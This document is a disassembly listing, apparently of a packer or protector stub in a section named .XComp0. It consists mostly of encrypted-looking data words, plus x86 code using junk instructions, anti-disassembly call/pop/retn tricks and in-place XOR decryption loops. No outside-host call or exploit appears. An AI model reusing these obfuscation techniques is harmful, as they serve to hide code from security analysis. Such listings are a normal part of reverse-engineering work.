		dd 870F0000h, 1, 0E900B0FCh, 0Eh, 11FC6C31h, 4B6757D4h
		dd 79AA48ECh, 70E63E23h, 1FE59531h, 71E405F9h, 0B656BF66h
		dd 830F613Ch, 0D1h, 68F0Fh, 0BD890000h,	5F91459h, 0BAC8B60Fh
		dd 6, 9C18BF5h,	0F92785BDh, 4E8C105h, 66F98B66h, 8D09E2F7h
		dd 5F93195h, 0EE9C82Bh,	0F1000000h, 71C8856h, 7C3AEDCh
		dd 57C3FECDh, 81D18B4Ch, 0D4BC57CBh, 83E90Ch, 0BF660000h
		dd 858BC30Fh, 4, 25BD9D8Bh, 0C08305F9h,	8363B707h, 8B6600C0h
		dd 0FD03BDAh, 1483h, 19858900h,	8905F90Dh, 0F931759Dh
		dd 4FE905h, 8B660000h, 0FF8D8BDAh, 66FFFFFFh, 83B6A0BBh
		dd 840F01E1h, 39h, 2EF5B531h, 14E905F9h, 50000000h, 8D1147D8h
		dd 0E145DFBFh, 291B37ACh, 2FC08973h, 83179FB0h,	0FFFFFFA5h
		dd 0BF66FEFFh, 9589D470h, 4, 7824BF66h,	0E9h, 27B58D00h
		dd 0BF05FDB1h, 5E618E68h, 0BB60006Ah, 6974A224h, 1591B589h
		dd 0FF6105F9h, 0F91AED95h, 1069B905h, 9D290000h, 5F92DEDh
		dd 57FCE183h, 6AFC5BF8h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 0E5D8C351h,	0C31278F2h
		dd 10BF668Bh, 8D9D01C2h, 2B05F921h, 0E99D8BC0h,	0BA05F910h
		dd 0
; ---------------------------------------------------------------------------


loc_5BF418:				; CODE XREF: .XComp0:005BF422j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5BF418
		sub	ebx, 3015D914h
		mov	bx, 0CDF9h
		or	eax, 88h
		movzx	edi, cx
		cmc
		mov	edx, [ebp+5F90CDDh]
		mov	bh, 0DAh
		mov	ecx, [ebp+5F926C1h]
		jmp	loc_5BF451
; ---------------------------------------------------------------------------
		dw 0D4E3h
		dd 7B50C8E9h
; ---------------------------------------------------------------------------
		inc	ebp


loc_5BF451:				; CODE XREF: .XComp0:005BF445j
		push	eax
		mov	eax, edx
		mov	ebx, [eax]
		add	eax, ecx
		mov	ebx, [eax]
		mov	eax, ecx
		shr	eax, 1
		add	eax, edx
		mov	ebx, [eax]
		pop	eax
		add	ebx, [ebp+5F91371h]
		mov	ebx, 14D5A8C0h
		cmp	dword ptr [ebp+5F91159h], 0
		jz	loc_5BF4CB
		jmp	loc_5BF48B
; ---------------------------------------------------------------------------
		dd 0EEE97245h, 22F619BDh
		db 3Bh,	0E7h, 1Ch
; ---------------------------------------------------------------------------


loc_5BF48B:				; CODE XREF: .XComp0:005BF47Bj
		mov	eax, 0
		mov	ebx, [ebp+5F9184Dh]
		and	bh, 70h
		lea	ecx, [ebp+5F94EE8h]
		jnb	loc_5BF4AE
		js	loc_5BF4AE
		movsx	edi, di


loc_5BF4AE:				; CODE XREF: .XComp0:005BF49Fj
					; .XComp0:005BF4A5j
		xor	bl, 72h
		jmp	ecx
; ---------------------------------------------------------------------------
		db 0E8h
		dd 12h,	0F45E76FBh, 3793942Eh, 0A79A0028h, 0AE093BBCh
		db 6, 0FEh, 5Fh
; ---------------------------------------------------------------------------


loc_5BF4CB:				; CODE XREF: .XComp0:005BF475j
		cmp	dword ptr [ebp+5F900FDh], 0
		jz	loc_5BF91F
		sub	[ebp+5F90FA5h],	esi
		sub	[ebp+5F90539h],	ecx
		cmp	dword ptr [ebp+5F900FDh], 1
		jz	loc_5BF93A
		push	0
		push	edi
		call	sub_5BF4FC
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF4FC	proc near		; CODE XREF: .XComp0:005BF4F4p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5BF4FC	endp

; ---------------------------------------------------------------------------
		dd 0C764F59Ch, 0BD83386Bh, 5F900FDh, 0E5860F03h, 60000003h
		dd 2DBD8960h, 6105F901h, 0DBD8D89h, 606105F9h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0D1C35646h, 66F9FC7Eh
		dd 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0F4DFA8C3h, 9D0B1DB9h, 5F90499h, 6604E180h
		dd 0A6D83BFh, 7B840FC9h, 6A000001h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0E13FC352h
		dd 7540B26h, 830F77C4h,	6, 12758589h, 858B05F9h, 5F92599h
		dd 257DB589h, 853305F9h, 5F9042Dh, 0A8E0F90h, 0E9000000h
		dd 5, 994A9509h, 0BCBB5057h, 90652AB6h,	0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ah, 9DC35343h, 3F6F4628h
		dd 0DE8A3CB3h, 167DB589h, 6A05F9h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 0BDC35242h,	4E8DE8Bh, 0FF000000h
		dd 50001F03h, 0F525052h, 0DE931h, 0E6870000h, 0D7450D1Eh
		dd 9649183Ch, 5A1CAEBFh, 60310F58h, 14E96160h, 0BA000000h
		dd 22B716DFh, 3702FFF2h, 268AFB21h, 9460A5AEh, 61A237BDh
		dd 8A50585Ah, 24448BFEh, 4FBF6604h, 0F008BC9h, 385h, 0DA8B6600h
		dd 4244489h, 0EE8h, 0A188E100h,	10E6B1B0h, 5125238Eh, 0FD06364h
		dd 28Eh, 5FDE8B00h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 0C595FFA9h, 6A05F92Ah
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 0EBE2C353h, 23DF801Bh, 0A98D89h, 858905F9h
		dd 5FCFC21h, 7F1BD8Bh, 7BE905F9h, 0F000001h, 858BF8B7h
		dd 5FCFC19h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	6C35747h, 23A0D952h, 0C38166FCh, 0EEB37689h, 1800C7h
		dd 0B58B0000h, 5FCFC1Dh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Ah, 13C35040h, 9B10998Dh,	8B669B16h, 89858BD8h
		dd 8905F92Bh, 0F926A1BDh, 9068905h, 0F909AD8Dh,	99858B05h
		dd 6A05F925h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 0C8F3C357h, 28DB808Ah,	81044689h
		dd 0B031D2E7h, 0E860964Ah, 6, 4C0ACEF1h, 6160793Bh, 0E852505Fh
		dd 14h,	95ADD041h, 1F592D16h, 5A5FACC9h, 287C6E44h, 0A8541EEFh
		dd 60310F59h, 61585A61h, 6E850h, 91150000h, 290E141Dh
		dd 14E8h, 89DCD800h, 936441DBh,	9A4050C7h, 3F7A9467h, 0CC6D6014h
		dd 0E393BB36h, 5B5F58A5h, 0CB816696h, 0DE8CD92h, 37000000h
		dd 4B3C98E7h, 67209FE3h, 0E45AFFFAh, 119D8B53h,	5B05F927h
		dd 19B5FF5Bh, 0BB05FCFCh, 66E6D141h, 0C9067E68h, 0F860F91h
		dd 50000000h, 8E9h, 0C2B46B00h,	0E2FE8A43h, 4815FE9h, 55FD8124h
		dd 0C1BD8B6Eh, 8D05F92Bh, 0FCFC2185h, 89515105h, 0F9072595h
		dd 505F5F05h, 89DE8B66h, 8D292404h, 5F91EE9h, 2AC595FFh
		dd 666105F9h, 4E0EEF81h, 0FD85C7F8h, 305F900h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0F63AC351h, 83D7DE8Dh, 0FCFC21BDh, 840F0005h
		dd 4Ch,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h
		dd 4DC35343h, 0E7BB662Fh, 41E947h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 198EA6C3h
		dd 0BD8B57A1h, 5F91365h, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h
		db 0E7h, 0EBh, 36h
; ---------------------------------------------------------------------------


loc_5BF91F:				; CODE XREF: .XComp0:005BF4D2j
					; .XComp0:005BF936j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5BF91F
		jmp	short loc_5BF955
; ---------------------------------------------------------------------------


loc_5BF93A:				; CODE XREF: .XComp0:005BF4EBj
					; .XComp0:005BF951j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5BF93A
		jmp	short $+2


loc_5BF955:				; CODE XREF: .XComp0:005BF938j
		mov	eax, eax
		push	0
		push	edx
		call	sub_5BF962
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF962	proc near		; CODE XREF: .XComp0:005BF95Ap

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5BF962	endp

; ---------------------------------------------------------------------------
		dw 8587h
		dd 35964F62h, 0BDE8C06Ch, 8E8h,	0E0F73500h, 65554AF9h
		dd 0E95BF83Ch, 0Fh, 0D7DE8DF6h,	3D6B4A8Fh, 418C3FA2h, 8318E7B7h
		dd 0F900FDBDh, 850F0305h, 45Dh,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 0DDC35343h,	537C27C1h, 60560906h
		dd 8B76C480h, 665F61F2h, 0C476D381h, 0FC21BD83h, 0F0005FCh
		dd 42084h, 89BD8B00h, 8B05F91Eh, 0F91059BDh, 21B5FF05h
		dd 905FCFCh, 0F931E185h, 0AD95FF05h, 6A05F91Ah,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 1710C350h, 0AF51FEEBh, 0B58BFAA8h, 5FCFC15h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0E0C35242h, 84A1144Eh
		dd 0E873B2C6h, 6C7DF8Bh, 10001h, 0E850006Ah, 3,	58C35820h
		dd 4244489h, 4244481h, 14h, 79C35040h, 10BD9D31h, 0F9605F9h
		dd 382h, 0DE8B6600h, 6A9650h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 0A9D94C3h, 196CFCF9h
		dd 0B5FF9AE7h, 5FCFC21h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0CDC35747h, 0CA6D7E2Dh, 0FFF9B70Fh, 0F9272995h
		dd 75958905h, 8B05F91Eh, 0FCFC15B5h, 0DE905h, 81470000h
		dd 19DF63C1h, 0A5D95120h, 8B3F8D91h, 0F9180985h, 53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 8BF8A6EEh, 0F92E81BDh, 0C4868905h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 962DC353h, 90704B3Bh, 0BF66A01Bh, 958BC44Ah,	5F90CDDh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0FCC35040h
		dd 9A50A1A8h, 1B635D57h, 4C28335h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 18C35545h, 8815BE0Ch, 55958995h
		dd 8905F90Bh, 6A2050h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 42E470C3h, 0CCA2D8C5h, 8DCA611Dh
		dd 0FD10E985h, 6E805h, 0BC850000h, 0D0E5C691h, 20BDBD8Bh
		dd 895F05F9h, 0B886h, 0D7816600h, 6AFC3CE4h, 0F3816600h
		dd 0B5FF1802h, 5FCFC21h, 0E8D8B70Fh, 12h, 8B586D34h, 0B85D627h
		dd 0A449C6EDh, 0AAE07272h, 0BF662541h, 0FF5B3183h, 0F9009995h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 0DE8965Eh, 0F6000000h, 94FC4103h, 0ACD916F9h
		dd 54BEECFh, 10E8h, 8967C500h, 725DB46Ch, 0C36345D1h, 7776A2AAh
		dd 5F5F501Ah, 9E9505Fh,	46000000h, 6AB7EE43h, 0F64F42D6h
		dd 58F0F96h, 0BB000000h, 28ACAA08h, 0FC21B5FFh,	0DB8005FCh
		dd 47BF66F5h, 6995FF5Dh, 6A05F935h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 5DF3C352h
		dd 4756CB81h, 0BD8365A8h, 5F917F5h, 1F840F00h, 0E9000000h
		dd 11h,	454A89ADh, 62CDB2Eh, 0CB444D5Ch, 0C21B7A38h, 965096F0h
		dd 12F9BD89h, 0B5FF05F9h, 5FCFC21h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 56C35242h, 92EF8166h, 6D95FF4Bh
		dd 6A05F92Eh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 0F797C355h, 776A2ED2h,	4DFD8B5Eh
		dd 2025BD8Bh, 0B5FF05F9h, 5FCFC21h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 51C35242h, 0FC7718AAh, 8BF9C9F2h
		dd 0F92495BDh, 8B666005h, 95FF61D6h, 5F921DDh, 8E9h, 0ED030200h
		dd 6F9639EEh, 2DBD838Fh, 205F90Ah, 47840Fh, 0F600000h
		dd 683h, 0F9BD8900h, 0F05F924h,	8B61F2B7h, 0F9115185h
		dd 0D9B58905h, 0C605F905h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 8C3345C3h
		dd 898FFF95h, 0F924A995h, 1985C705h, 5F933h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 6E29C350h, 24D470CFh, 0F45FE9ECh,	0D781FFFFh
		dd 5FE92CB8h, 6AC18Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 927A49C3h, 0CC05380Ch, 50BB3FCEh
		dd 8D2602B0h, 0F90DC185h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0EC11C499h
		dd 0E99093AEh, 5, 70A4975Ch, 0CDB75053h, 0AD858990h, 6A05F908h
		dd 0A1BD8B00h, 6A05F91Ah, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 66D1D577h
		dd 0F7C10DC2h, 0FE9h, 33E5FB00h, 0D6B5BE2Ch, 89588B3Bh
		dd 0F544374Fh, 4A46858Dh, 810F05FEh, 5,	0D7F68EBBh, 0C985312Ch
		dd 8305F917h, 6A05C0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 397114C3h, 0BF0FB847h, 5830FFEh
		dd 66000000h, 0CBF2DB81h, 641ABF90h, 90504941h,	3810Fh
		dd 0BF0F0000h, 8A006AFBh, 6A006ADCh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0D2AEC353h
		dd 9D8B0ABFh, 5F90761h,	2AFD8589h, 95FF05F9h, 5F913EDh
		dd 0FE9h, 93FF0900h, 93381AF0h,	0FA2E225Bh, 8984A2E0h
		dd 0E9838D8Dh, 0D78105FCh, 20847E02h, 9589D1FFh, 5F918D9h
		dd 1785BD83h, 0F0105F9h, 0B285h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 19569035h
		dd 6ADE2359h, 53006A02h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 0BF270C4Fh, 0C4F1E4Ah, 66535390h
		dd 5FE52BBFh, 5250505Fh, 310FF88Bh, 5BFE8B57h, 6A90585Ah
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 1162C352h, 46F18902h, 0E781AE96h,	3401E72Fh
		dd 9995FFh, 6A05F9h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 170424h
dword_5C0024	dd 56460000h, 935B82C3h, 799D8B6Ch, 0E905F90Ch,	0E0Eh
					; DATA XREF: .XComp0:0044A20Co
		dd 0E8h, 0ED815D00h, 5FE4A50h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0FDC35040h,	0DA8B66F7h, 21D9BD89h
		dd 6A05F9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 0B1042CC3h, 0AF4F7192h, 66F05386h, 8B66FA8Bh
		dd 7C858DDAh, 8905FCD9h, 0F90465BDh, 3EBF9005h,	506397C4h
		dd 3D0830BFh, 0BD89904Eh, 5F9040Dh, 35FF64h, 81000000h
		dd 1DDECAC7h, 25896441h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+5F9081Dh],	ebx
		inc	dword ptr [ebp+5F9197Dh]
		pusha
		mov	[ebp+5F92E8Dh],	esi
		mov	edx, [ebp+5F92551h]
		popa
		push	0FFFFFFFFh
		push	dword ptr [ebp+5F913ADh]
		push	0
		push	edi
		call	sub_5C00F5
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C00F5	proc near		; CODE XREF: .XComp0:005C00EDp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5C00F5	endp

; ---------------------------------------------------------------------------
		db 0EFh, 65h, 0CEh
		dd 0EA90F9F6h, 53C9C848h, 0FF5FFB8Bh, 0F9091195h, 0E6E905h
		dd 0D7810000h, 5B46FDFBh, 665700B0h, 0E65BFB8Bh, 0E6BB6670h
		dd 8171E402h, 18025DFh,	0F613C70h, 0C383h, 0EE900h, 0D7B50000h
		dd 0BDA4822Ch, 8C981707h, 65169DC8h, 0FC8B60Fh,	681h, 0A59D0300h
		dd 0BA05F900h, 6, 2EF9BD29h, 0C18B05F9h, 4E8C1F8h, 27C59D89h
		dd 0F76605F9h, 598529E2h, 2B05F925h, 0F7EF81C8h, 8B057A96h
		dd 85BD89D1h, 0E905F914h, 6Ch, 4C44858Bh, 8D315F4Ch, 5F92E15h
		dd 0E907C083h, 13h, 70AA7903h, 0FA40F039h, 753DA402h, 355184AAh
		dd 8317834Dh, 0CB8100C0h, 146716A6h, 830FD03Bh,	8, 2FE9h
		dd 61F86000h, 0FFFF8D8Bh, 0BD8BFFFFh, 5F90C59h,	0F01E183h
		dd 1784h, 0F8B70F00h, 0FFFFA583h, 0F8FEFFFFh, 4C449589h
		dd 0E9F55F4Ch, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+5FDC190h]
		push	0
		push	edi
		call	sub_5C0215
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C0215	proc near		; CODE XREF: .XComp0:005C020Dp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5C0215	endp

; ---------------------------------------------------------------------------
		db 0EFh, 0C9h, 66h
		dd 296C8CBFh, 0F918E585h, 0F006A05h, 88Bh, 28A0F00h, 60000000h
		dd 0ED95FF61h, 6A05F91Ah, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 306FC355h, 566BF5ADh
		dd 100FB9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 8BFB0571h, 0F907B99Dh, 0FCE18305h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 4FC35747h
		dd 8B05B7F3h, 0F915299Dh, 9E9FC05h, 0D7000000h,	0B88E57E5h
		dd 5671DB19h, 0B8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 0BB66F0FBh, 850F0F59h
		dd 6, 2D9DBD89h, 0D22B05F9h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 39C35545h, 35EDA838h, 0BE8h
		dd 88906700h, 0E6D6D686h, 0E0E596FFh, 1E018589h, 8B5B05F9h
		dd 0C233ADD9h, 0D003E8D1h, 7504E983h, 0C9C781F4h, 6A4E8809h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 728DC350h, 9469FAA1h, 48F0F34h, 51000000h
		dd 0D5FD98Bh, 88h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 0C6C35343h, 0DDBD8961h, 8B05F932h, 0F90CDD95h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 0FF9BD78Ah, 94C7475h, 0F90B3DBDh, 0C18D8B05h
		dd 6A05F926h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 78BFC357h, 0C28B50D9h,	0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 0E958188Bh, 8, 0B6CA6AC3h, 780D2376h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 68C35747h
		dd 0E90B5F23h, 6, 858510C3h, 0E38131F8h, 7AD33DE0h, 1159BD83h
		dd 0F0005F9h, 9B84h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 0FB13A6ABh, 0DAE3D8ECh
		dd 7E8FFh, 0DA640000h, 480086CAh, 0BE8FEh, 0A1D10000h
		dd 6711C11Fh, 0B04781D5h, 0A59D03E7h, 5B05F910h, 0B85Bh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0BE6F1FC3h, 0E9D75696h, 0Ah, 647F5B2Eh, 0E3A4E8C1h
		dd 8B6657C6h, 0E88D8DDEh, 8905F94Eh, 0F913DD95h, 60E1FF05h
		dd 7FB789BAh, 51958B33h, 6105F912h, 0FDBD83h, 0F0005F9h
		dd 45984h, 43CF8100h, 83233197h, 0F900FDBDh, 840F0105h
		dd 461h, 0BD83F88Bh, 5F900FDh, 1C860F03h, 6A000004h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 11DCC351h, 9B055134h, 66E289F5h, 8B60F88Bh, 0D98C66F9h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 1AC35242h
		dd 359D8BE9h, 8B05F901h, 0F90CF1BDh, 0F98B6605h, 8904E180h
		dd 0F927D195h, 0FC90A05h, 11484h, 8B526000h, 0F9193985h
		dd 8D8B5805h, 5F921D5h,	99858B61h, 6605F925h, 6688CCBBh
		dd 33EB21BBh, 0F9042D85h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 50CFC069h
		dd 860F52h, 5B000000h, 0E8240489h, 8, 0E9900E1Dh, 9C2668DCh
		dd 5840Fh, 81660000h, 5B6E9FE3h, 4E8006Ah, 0FF000000h
		dd 0BF001F03h, 5905354Fh, 830F6050h, 3,	61FE8B66h, 424448Bh
		dd 88A0Fh, 820F0000h, 2, 8BD98Ah, 1B8D0Fh, 0E9500000h
		dd 14h,	47EA49F4h, 0D22E8A13h, 86FAFC3Fh, 0B9852CB0h, 0CB5DAFACh
		dd 2444895Fh, 0FB8B6604h, 57006A58h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0FF35BB89h
		dd 0E8EA9E6Fh, 0Ah, 0F9DC28A3h,	7CCFAA8Eh, 0FF5FFEBBh
		dd 0F92AC595h, 0DB816605h, 858942E0h, 5FCFC21h,	2B4D9D89h
		dd 13E905F9h, 89000002h, 0F926D185h, 19858B05h,	0F05FCFCh
		dd 1E8Ch, 18870F00h, 0E8000000h, 12h, 0AFA788Ah, 0C12E0BF0h
		dd 8E9AA192h, 0CE921CC5h, 0C75F9E25h, 1800h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 48FE304Ah, 6613C71Ch, 0B589D88Bh, 5F924B5h, 12DBD8Bh
		dd 0B58B05F9h, 5FCFC1Dh, 5E9h, 0DECE9D00h, 858B4FD2h, 5F92B89h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0AC35040h
		dd 8F75F034h, 8531FBF8h, 5F9063Dh, 689B4B3h, 13A59589h
		dd 858B05F9h, 5F92599h,	8BFEB70Fh, 0F915A5BDh, 4468905h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 50C35242h
		dd 0AEB0B8BFh, 0B035824Fh, 8D09D88Bh, 5F91855h,	0F1C5CF81h
		dd 605071A1h, 0AE9h, 9801EE00h,	39F45F46h, 6108446Ch, 6A243489h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 878C357h,	0CA9019AFh, 0B7FB08C4h,	9DBD8B69h
		dd 0FF05F91Fh, 0FCFC19B5h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 854C9C5Eh
		dd 812E9899h, 7BCDCED7h, 0C09F6847h, 800FEC22h,	3, 81DA8B66h
		dd 43602404h, 0B58913FCh, 5F90FC1h, 0FC21858Dh,	6A05FCh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0ED26EBC3h, 23BAC3F3h, 0F912B19Dh, 199D8905h, 5005F912h
		dd 4E943EBFh, 24048917h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 15h, 0F7C35646h, 0C98D018Ch, 0FF05F924h, 0F92AC595h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 1138083Bh, 0A1351DF8h, 840F485Bh, 4, 3244BB66h
		dd 6A6138B7h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0E9DAC355h, 2CDADE46h,	8EB751F7h
		dd 0FD85C7h, 305F9h, 0BD8B0000h, 5F93439h, 0FC21BD83h
		dd 0F0005FCh, 4E84h, 11E900h, 6FBD0000h, 0F33985ACh, 0BB47026Fh
		dd 4F8C2D1Bh, 0E9C96090h, 4Eh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 23C35242h, 512F247h, 7E8h
		dd 8DFA4D00h, 6D2DE29Ah, 1358D89h, 505B05F9h, 110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 6AC08Bh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 81FF87C3h, 5CDC1D49h, 0CE923h, 4EBE0000h, 0C8321B8Ah
		dd 6F5B7E73h, 0FD8A613Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 0E0C35747h, 0FBEEFFAEh, 0BD83F279h, 5F900FDh
		dd 2A850F03h, 6A000004h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 4D6AC350h, 0C5BD8BF2h
		dd 8305F900h, 0FCFC21BDh, 840F0005h, 3F9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 3FC35747h, 21B5FFFCh,	8005FCFCh, 95FFDEDBh
		dd 5F91AADh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	4EC35545h, 0C05924EFh, 15B58BDFh, 8105FCFCh, 14F2DBEBh
		dd 14E93Eh, 4BF80000h, 2495CB1Fh, 95DA318Fh, 36B301Dh
		dd 8A086D24h, 6C7FAB5h,	10001h,	967BD780h, 0E2B4BB66h
		dd 96F88B50h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Bh,	23C35242h, 760D89D6h, 53D303E8h, 7499589h, 0FF5F05F9h
		dd 0FCFC21B5h, 13E805h,	766E0000h, 28FC558Bh, 0DA03216Fh
		dd 82E7919Fh, 0F03831DDh, 0DDB58949h, 5B05F907h, 272995FFh
		dd 6A05F9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 0AF87A7C3h, 15B58B8Eh, 6A05FCFCh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0EDB4C353h, 0E97C8A89h, 9, 0C6A41DE1h, 0DDCB47D2h, 9858B00h
		dd 6A05F918h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 0CFD8C355h, 8962BFBAh,	0F903CD85h
		dd 55BD8905h, 8905F910h, 0C486h, 3DBD3100h, 8B05F915h
